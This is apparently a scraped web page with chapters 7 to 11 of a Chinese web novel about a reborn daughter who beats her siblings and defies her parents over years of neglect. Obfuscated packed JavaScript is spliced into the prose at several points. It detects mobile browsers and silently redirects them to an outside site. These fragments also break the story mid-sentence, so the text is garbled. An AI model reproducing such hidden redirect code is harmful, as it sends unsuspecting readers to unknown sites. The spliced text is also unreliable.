顾溪没理会,一阵疯狂打砸,很快顾远征的房间也是一片凌乱狼藉。 其中最明显的,就是顾远征的衣服也被她扯在地上踩了好几脚。 接着她又去了顾远湘的房间。 这下子顾远湘也急了,想去阻止又不敢,生怕正在发癫的顾溪会打自己,只能委屈地说:“溪溪,你别这样,我没弄你的房间……” 顾远辉握紧了拳头,同样不敢阻止。 要是以往,顾溪敢欺负顾远湘,就算她说一句顾远湘的不对,他都要作弄回来,给顾远湘出气。 他就是不喜欢顾溪,就是讨厌她,不喜欢她回来,破坏了他们家,让顾远湘的存在变得尴尬,还让他们家成为家属大院的笑话。 所以他使着劲的作弄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171181|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,想将她逼走。 可是刚才被打了一顿,她打人实在太疼了,让他有种恍惚感,原来被打是这么疼的事,那些家暴的男人说要是女人不听话就打到她听话,是不是这种打法? 顾溪没理他们,推开门进去,看到一间面积不小,布置得很是温馨的少女的房间,里头很多摆设无不诉说着家里人对她的宠爱。 房间朝南,也是家里除了顾茂文夫妻的卧室外最好的一间。 房间里传来一阵乒乒乓乓的声音,顾远湘姐弟俩又急又气地站在门口看着,都不敢阻止。 他们都觉得,顾溪一定是疯了。 应该说,几天前顾溪打人开始,她就疯了。 但她为什么疯,他们根本不清楚,生气、恼怒、害怕、恐惧等情绪袭上心头,让两人一时间没了主意。 连续砸完三个房间,顾溪终于停手。 她朝那对缩在角落里的姐弟走过去,伸手去扯顾远辉。 十六岁的顾远辉已经是半大的少年人,甚至比顾溪还要高一大截。 但不知怎么的,被顾溪这么扯着,觉得自己就像只柔弱无助的小鸡崽,被她扯到面前时,以为她又要打自己,心里生出一种恐惧感,双手下意识护住自己的脑袋。 顾溪扯着他,将他拖到自己房间,直接推进去。 “将我的房间收拾好。”顾溪声音平静到冷漠,“要是收拾不好,我就打你。” 顾远辉:“……” 顾远辉很想有骨气地拒绝,反抗她的恶势力,但刚才被她打怕了,现在父母兄长都不在家,没有人能阻止她,生怕她又动手打人,只能憋着气去收拾。 顾远湘缩在旁边,看顾溪站在门口盯着,心里也是一阵害怕。 这时,顾溪转头看过来,她讨好地说:“溪溪,我、我也帮忙……” 顾远湘小心翼翼地挪进去,帮忙一起收拾。 顾溪房间里的东西不多,收拾得很快,最后只剩下地上散落了整个房间的碎纸屑,因为纸屑太多,不好收拾,需要用笤帚来扫。 顾远湘去拿笤帚过来打扫。 “踩脏的衣服要洗干净。”门口站着的顾溪开口道,“顾远辉,你去洗衣服。” 顾远辉说:“我不会。” 作为家中的小儿子,他从来没洗过衣服,根本不会洗。 “不会就学。”顾溪冷若冰霜,“洗不干净,我就打你。” 顾远辉又气又怕,只能抱着她的衣服去洗。 等顾远辉洗好衣服,房间也收拾干净。 顾溪仍是没放过他们,说道:“其他的我可以不计较,但我的书被撕了,你们要赔我。” 她很爱惜自己的书,翻看时都是小心翼翼的,生怕弄皱了。 从小她就羡慕那些能上学的孩子,作为养父母家中的长女,他们又重男轻女,需要女孩子帮忙干活、照顾下面的弟妹,让她读书是不可能的事。 回到顾家,知道可以读书,就算要和一群小学生挤在一块上学,她都能忍住羞耻,只要能让她读书。 重活一回,原本她是想将顾家当成陌生人看待的。 哪知道珍惜的书被撕了,戾气瞬间从心底腾升,让她无法控制自己。 顾远湘小心翼翼地问:“要赔多少?” 顾远辉不敢吭声,心里是不想赔的,还是那句话,怕被打,不敢不赔。 但他现在没有钱了,估计赔不起,她不会又想打他吧? 8. 第 8 章 顾远辉没有钱。 江惠君每个星期会固定给还在读书的孩子零花钱,相比起那些普通家庭的孩子,他们的零花钱也不算少了。 但架不住顾远辉花钱大手大脚,零花钱总是留不住,而且先前他为了给顾远湘买生日礼物,不仅花完所有的钱,还找同学朋友借了些。 这会儿,顾溪让顾远辉赔钱,顾远辉哪里拿得出来,一分钱都没有。 就算能拿得出钱,他其实也不想赔,不就几本破书嘛,能值什么钱?有必要赔吗?更过分的是,她居然狮子大开口,要他赔二十块。 还要赔给她一些票券之类的,她怎么不去抢? 虽然这么想,但他不敢说,小声地嘟嚷着:“你也砸了我的收音机。” 那是去年他生日时二哥特地送他的,可以放在自己房间里收听广播,他可喜欢了,一直小心地收藏着,都不给别人碰一下。 顾溪只是看着他,说道:“你要我赔?” 对上那双没有任何情绪的眼睛,顾远辉打了个哆嗦,赶紧摇头,生怕慢点就要被她打。 因为没有钱,顾远辉最后只能找顾远湘借钱。 他怕自己不赶紧还钱,她真的要打人。 等顾溪拿着钱回房,将门关上,顾远湘终于松口气。 见识过顾溪发疯打人砸房间,她现在真的很怕她,怕她动手打人,也怕她不管不顾地继续砸房间。 家里唯一没有被砸的只有父母的卧室,如果她真的动手,她都不敢想像父母下班回来看到会有多生气。 顾远湘心情复杂,转头看向顾远辉,看到他鼻青脸肿的模样,不禁叹气。 好不容易这脸好了,还没隔一天又被打成这样,估计又要养一段时间不能出门。 “我先给你上药吧。” 顾远湘拉着顾远辉去上药。 虽然顾远辉看起来被打得很惨,不过只要人没有昏迷吐血,不需要送去医院。只是等顾远辉脱了衣服,看到他身上青一块紫一块的,顾远湘心疼之余,也庆幸顾溪没有对自己动手。 她觉得自己肯定挨不过她一拳。 上完药,顾远湘急着去收拾房间。 想到自己的房间被砸了,她心里就难受得厉害,顾溪刚才砸东西时,真的没有手下留情,弄坏了很多东西,那都是她喜欢的。 “远辉,走吧,先去收拾房间。” 顾远辉素来听她的话,闻言跟在她身后,时不时因为扯到身上的伤嘶一声。 两人努力收拾,然而因为房里的东西太多,收拾起来比顾溪的房间麻烦多了,甚至被顾溪掀翻的衣柜这种笨重的大家伙,他们根本没办法将它搬起来摆正。 主要是顾远辉现在浑身都疼,使不出力气,顾远湘也没那么大的力气。 像顾远湘房间的大衣柜,那是当年江惠君特地找木匠做的,用的是好料子,就算过了十多年,质量都很好,格外耐用。 这样的衣柜有个特点,就是无比笨重,不能轻易挪动它,一般人还真没办法搬动,得两个大男人合力才行。 顾远湘使出吃奶的力气,发现没办法将倒在地上的柜子搬起来,反而累得直喘气。 她有些不可思议地想,顾溪这家伙的力气到底有多大?看她砸东西时,直接将衣柜掀翻在地,看起来真的挺轻松的样子。 怪不得她打顾远辉时,顾远辉都没法反抗,只能抱着脑袋蜷缩着身体挨打。 顾远湘放弃将衣柜扶正,朝顾远辉说:“远辉,以后别再惹她生气了。” 顾远辉脸皮抽搐了下,没有吭声。 浑身都疼得厉害,这是第一次他被打成这样,爸妈都没这么打过他。 要说不恨是不可能的,但他确实被顾溪打怕了,对顾溪是又怕又恨又怨。 没等他们收好房间,顾溪又来了。 当听到门板被人敲响的声音时,正在收拾的两人吓了一跳。 等看到站在门口的顾溪,两人受到的惊吓不亚于走夜路遇到杀人抢劫,心脏都要蹦出来。 “我饿了,去做饭。”顾溪说道。 顾远湘忙应一声,从收拾大半的房间出来,乖乖地去洗手做饭。 在厨房做饭的时候,顾远湘有些迷茫。 不对啊,以往做饭这事,不都是顾溪来的吗?只要顾溪在家,一日三餐都是由她做的,还要洗家里人的衣服,打扫卫生……每天大伙儿还在睡时,她就要早起做饭,等他们醒来,早饭已经做好了。 不过这几天,顾溪不在家,江惠君又要上班,只有放假在家的顾远湘做饭洗衣服打扫卫生。 连着做了几日,她都做习惯了。 以往那种坐下就可以吃饭的时光一去不回。 做好午饭,顾远湘乖乖地上楼叫人。 只有顾溪一个人下来,顾远辉躲在房间里,不敢和她一起吃饭。 顾溪也不在意,径自吃着,将桌上的肉都夹到自己碗里,虽然也没几片肉,毕竟中午只有他们三人在家吃饭,一般不会做得太丰富,简单地吃一些,只有晚上大家回来后才会多炒几个菜。 ** 傍晚,顾茂文夫妻和顾远征三人同时到家。 进门时就闻到厨房飘来的饭菜香,知道是顾远湘在做饭。 回到家就有饭吃,让工作一天的人多少有些放松,心情也不觉好了几分。 不过这种好心情在看到顾远辉时没了,三人吃了一惊。 “远辉,你的脸怎么了?”江惠君吓得不行,“谁打的?伤得怎么样?疼不疼?去医院检查了吗……” 顾茂文和顾远征的脸色也不好,任谁看到顾远辉被打成这样都不会高兴。 顾远辉今天被顾溪一顿暴打,又惊又吓,生怕她随时暴起打自己,担惊受怕了一整天。这会儿见到父母和兄长回来,被他们这么一关心,那种委屈的心情就控制不住。 他忍不住哇的一声哭出来,一边哭一边说:“是顾溪打的!爸、妈,她打我……” 三人同时怔住。 江惠君吃惊地说:“溪溪打你?怎么会?溪溪应该不会打人。” 对顾溪逆来顺受的印象太过根深蒂固,一时间三人都不怎么相信,就算她上次也打了人,但那不是只打一下就跑吗…… 不过顾远辉哭得实在太惨,信誓旦旦地说是顾溪打的,让他们不得不相信。 顾远征问:“她回来了?” 顾茂文拧起眉头,沉着脸道:“她在哪里?让她过来。” 厨房里的顾远湘听到动静,忙跑出来,见到三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171182|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人回来,先是一喜,只是想今到今天的事,那股喜悦又压下来。 见识过顾溪发疯时的狠劲,她现在不确定父母能不能压制得住她。 应该可以的吧,顾溪就算再疯,多少也要顾忌父母,孩子对父母有一种天然的敬畏,可以和兄弟姐妹打架,但绝对不敢反抗父母的权威。 “她在楼上房间。”顾远湘小声说。 顾茂文没想到顾溪回来就打人,将小儿子打成这样,十分生气,沉着声说:“远征,你去叫她下来。” 顾远征应一声,上楼去叫人。 上到二楼,经过楼梯口的第一间房,当看到里头的狼藉,顾远征瞪大了眼睛。 这是他的房间。 为什么他的房间变成这样?柜子书桌窗台的摆件等都翻倒在地,衣服丢得到处都是,连床板都被掀起来…… 顾远征满脸愕然,难道有人在他房间打架? 他首先想到的是顾溪和顾远辉,这两人今天一定是打架了,而且顾远辉那样子显然被打得挺惨的。 虽然作兄长的不能和弟妹计较太多,但任谁看到自己房间被人搞成这样,也不会高兴。 他忍着气,冷着脸来到顾溪的房间敲门。 “顾溪,出来!” 一会儿后,门从里头打开,穿着睡衣、顶着一头乱发的顾溪出现。 看她乱翘的头发,脸颊上的压痕,就知道她先前在睡觉。 现在都什么时候了,她居然还在睡觉,不会是午饭后一直睡到现在吧?她几时这么懒了? 想到顾远辉脸上的伤,自己的房间貌似被砸都和她有关,顾远征就没办法保持冷静。 他压下怒气,冷声道:“爸叫你下去。” 顾溪哦一声,看也没看他一眼,当着他的面甩上门。 顾远征:“……” 顾远征又等了会儿,终于见门再次打开,换了一身衣服的顾溪走出来。 她没看站在门口处的顾远征,朝楼下走去。 楼下客厅里,江惠君心疼地搂着顾远辉安慰,顾茂文黑着脸坐在旁边,屋里的气氛很不好。 看到顾溪,顾茂文厉声道:“你过来,跪下!” 顾茂文是典型的大家长,在顾家向来说一不二,除了在部队当兵的长子顾远扬外,其他孩子都有些怕他,一旦他动怒,吓得噤若寒蝉,绝对不敢在他面前放肆。 显然这次顾茂文真的生气了。 两个孩子打架,将人打成这样,不管怎么说都过了。 顾家不兴打孩子,不过孩子要是做错事,还是会惩罚的,例如让他们跪下,什么时候知道错误什么时候起来。 这也是这时代的一种教育方式。 顾溪走过去,离他几步时停下来,平静地说:“有什么事?” 看她直挺挺地站在那儿,不说跪了,甚至敢直视动怒的顾茂文,顾家所有人都吃惊地看着她。 厨房里的顾远湘小心探头,不知道她怎么这么大胆,居然不怕爸爸生气。 顾远辉原本还指望他们爸爸教训顾溪,给他出气,压制她的嚣张气焰,最好也打她一顿。 但现在看,顾溪好像还是疯得厉害,连爸都不怕了。 想到她身上那股疯劲,他打了个哆嗦。 9. 第 9 章 顾茂文有种被儿女挑衅权威的不悦。 不过更多的是惊讶,似是没想到这个平时怯懦安静、让他觉得丢脸的孩子居然敢直视自己,倒是有几分可取。 他压下心底的不悦,沉声说道:“你为什么要打远辉?” 江惠君怜惜地搂着顾远辉,盯着顾溪,顾远辉扭头狠狠地瞪她。 顾远征站在楼梯口处,看着她面上若有所思。 顾远湘也在厨房门口那边看着。 被众人盯着的顾溪没有像以前那样胆怯地低下头,安静地认错,或者避开他们的目光,甚至有胆开口:“是他先动手打我的。” “我没有!”顾远辉大声说,“我进门你就用书砸我,你还动手打我,不信你们问二姐!” 顾茂文看向顾远湘,“是吗?” 顾远湘迟疑了下,点了点头。 确实如此,虽然顾远辉冲过去一副要打人的模样,但先动手的是顾溪。 顾溪道:“他砸了我的房间,撕了我的书,他没有经过我的同意就进我的房间,我让他出去有什么不对?” 这话没人赞成。 这年头同住一个屋檐下的家人之间是没什么隐私的,也没有这个概念,可以随意地进出他人的房间。 至于顾远辉砸她的房间、撕她的书的事,顾家人都知道,觉得这不算什么。 顾溪继续说:“后来他撞我,我生气了,只好打他。”她也问顾远湘,“是不是这样?” 顾远湘被她问得头皮发麻,不敢撒谎,只好点头。 江惠君道:“溪溪,你几天前打了远辉,他生气才会砸你的房间,要是你在家里,他哪里会这么做?” 说到底,还是不怎么高兴她跑去沈家,一待就是好几天。 要是她在家,大家把话说清楚,何至于顾远辉生气到跑到她的房间里打砸破坏? 顾溪看她一眼,“是顾远辉先说我坏话,说我是破鞋。” “什么?” 这下子顾茂文夫妻俩都愣住,看向顾远辉。 很显然,当日顾溪打人时,顾远辉兄弟三人都没提这事,或许在他们看来,不过是点口头冲突,又在自家里说的,这不算什么,没有提的必要。 顾溪和他们相处了五年,太了解这些人是什么德行,哪里不清楚。 以前是她傻,被乡下愚昧的、重男轻女的养父母Pua十五年,养成自卑怯懦的性子,他们说只要她乖巧懂事、在亲生父母家里多干活,大家就会喜欢她,家里也会和睦,时间长了,能消除十五年的分离,她总会成为这个家里的一员,他们会像对待顾远湘一样爱她。 但她不知道是否真的能等到这一天,让他们像爱护顾远湘一样爱护自己。 因为她死了,等不到了。 人都死过一回,当了几十年的阿飘,什么没看过,早就想开了。 除生死之外无大事,如今回想起来,那些曾经在意的事十分可笑,她已经不在意这些人,打就打了,怕什么? 大不了再死一次呗。 顾远辉没想到她会扯这话,以他的年纪,当然知道“破鞋”对一个女孩子来说有多难听,要是在外面说,那是要出大事的。但他早就习惯打压顾溪,为了让她难受,什么难听的话都能说出口。 他辩解道:“我、我只是随便说说的……” 顾溪道:“所以我也随便打你,这不是应该的吗?”她露出一个很浅的笑容,看起来像皮笑肉不笑,“以后再让我听到这种话,我听一次就打一次。” 顾远辉瑟缩了下。 顾茂文夫妻俩没想到还有这事,一时间都不知道说什么。 这时,顾远征开口,“你当时也打我,我可没说什么。”顿了下,继续道,“还有的我房间,是不是你砸的?” 原本以为是她和顾远辉打架弄的,想想这不像打架造成的,更像是故意的。顾远辉和顾远湘应该不会无缘无故做这种事,那只有她了,毕竟她现在都敢打人,砸房间估计也敢。 难道是被顾远辉欺负太久,终于爆发了? “你还砸房间?”顾茂文皱眉。 虽然他不喜她被乡下那对愚昧的夫妻养得自卑怯懦,不像顾家人,一点也不讨喜,但也不能这么胆大妄为,哪像个女孩子? 顾溪道:“你当时要阻止我,我只好打了,不然等着你打我吗?至于你的房间,你们既然能眼睁睁地看着顾远辉砸了我的房间、撕我的书,那我就砸你们的,这很公平。” 她说得理直气壮,仿佛这真的很公平。 众人一时间都不知道说什么好。 “哪里公平?”顾远征压着气,他想说自己不会打人,但现在说这个没用,“你简直无理取闹。” 顾溪没反驳,无所谓地道:“你要是这么认为也可以,要不你去砸回来?我开门给你砸。” 砸回来,然后让你继续砸吗? 顾远湘默默暗忖,越发的觉得顾溪疯了,疯得好可怕。 顾远征发现她真的是不可理喻,像个疯婆子似的,根本就说不通。 突然间怀念起以前安静乖巧的顾溪,忍不住想,难道是因为那天她向自己讨要生日礼物,他没给她准备,所以她要报复自己,拿他的房间出气? 顾茂文夫妻原本很生气,被顾溪这一辩驳,突然发现实在气不起来,一口气梗在心口。 这都叫什么跟什么啊? “就算这样,你也不能随便动手打人啊!”江惠君有些埋怨,“有什么事不能好好说的?一定要动手?” 小儿子被打成这样哪里能不心疼? 哪知道顾溪居然点头,“当然要动手,因为有些人听不懂人话,说了也没用。” 这话意有所指,在场的人都能听出来,知道她说的是顾远辉。 也有可能是指其他人。 江惠君被她怼得心口疼,只能强调:“溪溪,打人是不对的,你是女孩子,怎么能打人?” “可我不打人,他就要打我。”顾溪坚持,表示她就是要这么干,“你不会以为顾远辉不打我吧?” 江惠君愣了下,转头看顾远辉,“你打溪溪?” 顾远辉想说自己没有打她,但顾溪盯着他,怕自己这一反驳,顾溪估计又要打自己,只能支支语语的。 见状,江惠君哪里不明白。 顾茂文也觉得头疼,说道:“顾溪,远辉是弟弟,你当姐姐的让一让他。” 他没再提打人的事,这事确实是顾远辉不对,但顾远辉是小儿子,平时也是被大家宠着的,宠得有些无法无天,但也不能让他被当姐姐的打成这样。 原本以为他说这话,顾溪会认错,并保证以后不会再犯,哪知道顾溪今天仿佛要和他们对着干似的,她不仅没认错,甚至还说:“凭什么要我让他?我让他的结果就是他会打我、作弄我,那不如打到他听话,打到他不敢打我、作弄我,不是吗?” 众人:“……” 这话听着虽然像歪理,但好像挺有道理的。 可惜再有道理的话,在偏心面前都要退让,顾茂文心头不悦,觉得她这是要和自己对着干,原本平息的怒气再次噌的上来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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逆来顺受的顾溪突然干这种事,让他们一阵不适应,实在想不通,她为什么要这么做?她这发的是什么脾气。 顾茂文原本就没有散的气又上来,当即去敲顾溪的门,质问道:“你怎么砸你二哥和湘湘的房间?他们可没得罪你。” 顾远辉砸她的房间、撕她的书,她打了顾远辉,他们可以不理,但她砸顾远征和顾远湘的房间是不对的。 顾溪道:“顾远辉砸了我的房间,你们什么都不做,没有劝他,也没有罚他,那我砸了他们的房间,也不算什么吧?你要是不高兴,就先罚顾远辉。” 顾茂文:“……” 这女儿几时这么伶牙俐齿了? 顾溪抬头看他,平静地问:“还有什么事吗?” 顾茂文咬牙,觉得不能这样,成何体统,语气变得严厉:“你这么做是不对的,去下面客厅跪着,好好反省,什么时候知道错就什么时候起来!” “我没错!”顾溪扭过头,“要跪你去跪,我不跪!你要是不想跪,就让顾远辉他们跪!” 说着当着他的面将门关上,爱跪不跪,休想让她跪。 顾茂文气得浑身发抖。 这还是第一次,有孩子敢这么和他顶嘴,如此不听话,他用力地拍着门板,“顾溪,出来!” 然而门始终没有开,顾茂文的手心都拍红了,也没能将人叫出来。 10.第 10 章 第二天,顾家人的精神都不太好。 昨晚他们收拾得太晚,特别是搬柜子时,可能是年纪大了,也可能是柜子实在太笨重,顾茂文不小心闪到腰,差点被柜子压在下面,吓得一群人惊叫连连,兵荒马乱的。 顾茂文这辈子经历的事不少,但像这种搬柜子闪到腰的事还是第一回。 虽然睡前江惠君用药油帮他推拿过,但那股酸痛又刺麻的劲儿,让他整晚都没睡好,这精神自然也不好。 江惠君和他一张床,也被他折腾得没怎么睡。 顾远辉昨晚也疼得厉害,同样没睡好。 至于顾远征和顾远湘,两人光是收拾房间就到大半夜,再加上看到自己房里一些心爱的摆件和收藏被砸得稀巴烂,没几样好的,气得够呛,根本就睡不着,而且这一大早,顾远湘还要起床给一家人做早餐,睡得更少。 一群人坐在餐桌前,哈欠连连,食不知味。 顾远征虽然困得厉害,不过他是年轻人,倒是能熬,转头关切地问:“爸,你的腰没事吧?要不要去医院找医生看看?” 其他人也关心地看着顾茂文。 “没事。”顾茂文不想在儿女面前丢脸,故作不在意地说,“你妈昨晚用药油给我推拿过了,今天好了很多,只要注意点应该没事。” 江惠君却不放心,“老顾,要不要今天请假在家好好歇着?”这上了年纪的人,闪到腰可不是小事。 顾茂文摇头:“今天局里有个重要的会议,走不开。” 顾远辉顶着一张青肿的大花脸,和顾远湘小声嘀咕:“那贱人真是个搅屎棍,迟早有一天……” 话还没说完,就见顾溪从楼上下来。 他吓得打了个嗝,只觉得浑身都在疼,猛地闭嘴,脸上一阵心虚。 顾溪神色自然地坐下吃早餐。 看到害他们没睡好的罪魁祸首,顾茂文夫妻的脸色实在不好。 昨晚顾茂文拍她的房门,手心都拍肿了,顾溪始终没有开门,让他气得够呛。这么多孩子,就算当年最犟的长子顾远扬,也没像顾溪这样叛逆乖张,给他气受,挑战他的权威。 如果不是还有理智在,估计都想破门进去,将她揪出来跪地板。 要是撞坏门找人来修,还不知道外人怎么看呢。 顾溪给自己盛了碗豆粥,配着煎鸡蛋和咸菜慢吞吞地吃着。 她皱着眉,一边吃一边说:“鸡蛋煎得太老,放的盐太多,又腥又咸,不好吃。” 胃在翻腾,让她恶心欲吐,但她忍住了,强迫自己进食。 进食是活着的方式之一,总不能还没死就搞垮身体。 忍着身体极度的不适,她努力地往胃里塞东西,能塞多少就塞多少。 顾远湘听到这话不禁委屈,心里想着既然不好吃那就别吃啊。 从小到大她被父母和兄弟们宠着,没怎么做过家务,在顾溪没回来前,家里有保姆,后来保姆回老家了,还有顾溪包揽家里所有的家务,同样不需要她动手,她只要舒舒服服地坐着等吃就好。 她也是最近才在江惠君的指导下做饭的,能做熟都算不错。 顾茂文将筷子拍在桌上,生气道:“不好吃就别吃,给我滚出去!” 江惠君见老顾生气,想起昨晚的事,担心父女俩真的闹到不可收拾,苦口婆心地劝道:“溪溪,你少说两句,别惹你爸生气!还有,湘湘一大早就起床给咱们做早餐,真是辛苦了,她已经做得很不错。” 这么说着,她一脸心疼地看着养女,顾远湘越发的委屈。 顾溪疑惑地看她,“她辛苦?我从三岁起就开始做饭、下地干活,给全家人洗衣服,做了十几年,你怎么不说我辛苦?”想到什么,她冷下脸,“所以她做顿饭就很辛苦,让你们心疼得不行,我干了十几年的活就不辛苦,是吗?” 众人:“……” 江惠君反应过来,自己这话说得不对。 她有心想要说点什么,听到顾溪继续说:“虽然不好吃,但比乡下掺着野菜的窝窝头好吃多了,至少没有苦涩味,也没有硬得磕牙,还能吃饱。而且鸡蛋这东西,一年到头都不能吃一次,这可是稀罕物呢,女娃没资格吃……” 众人听得一愣。 这种话她以前从来没有说过。 虽然知道她在乡下长大,可她在乡下过的是什么日子,他们并不清楚,对农村生活的印象不深,也没具体概念,更不知道作为女娃在乡下那种重男轻女的家庭过的是什么样的生活。 她不说,他们也从来不问。 或许顾溪刚回来时,江惠君会关心地问几句,但那些问题大多只是流于表面,那时候她更担心顾远湘会因为自己不是顾家的孩子多想,会做出什么傻事,心思更多的在养女身上,没怎么用心听顾溪说什么。 后来见顾溪安安静静的,帮着家里干活,家里好像也没什么变化,便不再问。 顾溪说完后,继续吃早餐。 她说这些倒是没什么意思,只是单纯陈述,好教他们知道,以前她过的是什么生活,现在她不想再给人当牛作马,不想干那些事了。 如果他们要她干,她只能继续打人。 众人不知道说什么,心情十分复杂。 江惠君心里闷闷的难受,说道:“溪溪,你以前怎么不和我说?” “说什么?”顾溪抬头看她,目光在这群人脸上转了转,神色平静,“我说了有用吗?你们都嫌弃我没文化,又丑又土,不能像顾远湘这么干净漂亮又体面,我给顾家丢脸,害你们丢脸,当初我回到顾家这事,让顾家成为家属大院里的笑话,让你们觉得不应该接我回来的……” “溪溪,我们没这么想。”江惠君赶紧打断她,面上有些不自在。 顾茂文僵着脸,就算心里这么想,被她说出来,让他觉得难堪无比。 他从来不知道,这个性子沉闷、嘴笨的女儿如此能说会道,说起话来怼得人心口疼。 顾远征难得怔住,不知怎么的,心口微涩。 顾远湘低头不敢说话。 只有顾远辉暗暗撇嘴,觉得她有自知之明。 顾溪完全不在意这些人的反应,说道:“你们有没有这么想自己清楚。” 顾茂文听不得这种话,生气道:“你什么意思?怨我们不成?我们是你的父母!” 在他看来,不管父母做了什么,为人儿女都不应该怨恨父母,这是不孝。 顾溪的指责在他看来就是不对! 顾溪丝毫不悚他,继续说:“你们不会以为大院里的人不知道吧?说不定人家私底下不知道怎么嘲笑你们,笑你们是冤大头,脑子有问题,不疼自己受苦的亲生女儿,反而去疼个在城里过好日子的假女儿,想必你们给别人养孩子养得很快乐吧?” 餐桌前所有人都僵住了。 他们呆呆地看着顾溪,以为自己听错了。 这话真是太锥心了,对好面子的人而言简直是绝杀。 “你你你……”顾茂文抓着筷子的手都在发颤,“胡说八道! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175426|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 江惠君脸色大变,“是谁说的?!真是太过分了,居然说这种话……”她也气得不行,生气之余又有些心虚。 顾溪道:“大家都在说,你们要是不信,可以私底下去问。”她歪头想了想,“妈,你不是和陈芸笙她妈交好的吗,可以去问她,她应该会告诉你。” 见她连人选都有,那应该是真的。 江惠君和陈芸笙她妈其实不算交好,只是同在一个大院住着,陈芸笙她妈是个爽快人,做事敞亮,和很多人都聊得来,在众人看来,这两人确实交情很不错,要不然陈芸笙不会和顾远湘玩在一块,父母的交情也会影响到孩子。 顾茂文和江惠君僵硬地坐在那里,完全忘记反应。 夫妻俩都是爱面子的人,最难以忍受的就是自家被人看笑话,希望一辈子体体面面的。 他们夫妻这辈子最不体面的事,就是出了抱错孩子的事,以及亲生女儿被那对愚昧无知的乡下夫妻养得又丑又土,胆小怯懦,上不得台面,给他们丢尽了脸。 正是如此,他们才会更偏爱被他们养得大方漂亮又有才华的顾远湘,这才应该是他们女儿该的有样子。 心里虽然这么想,但他们面上却要做出一副不在意的样子,仿佛没有嫌弃亲生女儿丢脸,觉得他们对两个孩子都是一视同仁,甚至送顾溪去读书,五年时间就让她从小学读到高中毕业,没有亏待哪个。 他们家还是和和睦睦的,没有什么变化。 哪知道外头居然传成这样。 只要想到家属大院里的那些人居然如此看待他们,私底下不道怎么嘲笑,夫妻俩就难以忍受。 顾茂文又气又怒,倏地站起,哪知道因为动作太大被绊倒,连人带椅往后仰,直接摔下去。 “老顾!”江惠君惊叫。 其他人赶紧起身去扶他,挤在一块儿,七嘴八舌地叫人,一阵闹哄哄的。 幸好顾茂文只是摔了一跤,人看着没什么,就是昨晚闪到的腰疼得厉害。 他铁青着脸,被江惠君和顾远征扶起来重新坐下。 等他们看到依然坐在那里,不为所动,居然还在慢吞吞吃早餐的顾溪,都忍不住动怒。 顾远征厉声喝道:“顾溪,你真要这么气爸妈吗?” 他能原谅顾溪打人、砸房间的那些行为,但她这么气父母就太过了。 顾溪抬眼看他,又看向顾茂文和江惠君。 顾茂文的脸色十分难看,江惠君避开她的目光,像是不忍,又像是在生气。 突然,顾溪用力地将手中的筷子朝顾远征砸过去,冷声说:“你怎么能凭白诬赖人?明明是外头的人笑话他们,让他们生气的,关我什么事?那些话又不是我传的!” 顾远征:“那你也不能说得这么直接,让爸妈听了难受。” “难道我不说那些闲话就不存在,他们就不难受?” 顾溪生气地站了起来,朝他走过去,一把扯住他的衣服,然后一拳朝他挥过去,将人打倒在地。 顾远征翻倒在地,下巴及嘴角的地方瞬间就青了一块。 “啊——” 江惠君和顾远湘吓得叫出声。 顾远辉身体一滑,条件反射性地缩到桌子底下,抱住脑袋,这是被顾溪打出心理阴影了。 顾溪居高临下地看着地上怒瞪着自己的顾远辉,神色冷漠,“下次再让我听到这种话,我打烂你的嘴!” 说完,她转身去厨房重新拿了一双干净的筷子,坐下来继续喝粥。 11.第 11 章 兵荒马乱的早饭总算结束,顾茂文等人都觉得累得不行。 只有顾溪没有丝毫影响,吃完早餐后,她将碗筷一扔,便回了房间。 顾远湘看她走开,扁了扁嘴。 以前顾溪都是留到最后,她要等所有人吃完后收拾桌子,将碗筷都洗干净,根本不用人操心。 但她不敢将顾溪叫回来,起身收拾,一边提醒道:“爸、妈,时间不早了,你们上班要迟到了。” 江惠君低头看表,吓了一跳,赶紧道:“老顾,你今天不是要提前过去参加会议吗?再不走就来不及了。” 顾茂文非常重视今天的会议,闻言立即起身,却不料起得太猛,拉扯到受伤的腰,整个人僵在那儿,疼得脸色发白,冷汗涔涔。 “老顾,你没事吧?”江惠君看他那模样,十分担心。 顾远征和顾远湘忙过去扶他,小心翼翼地将他扶到沙发那边坐着。 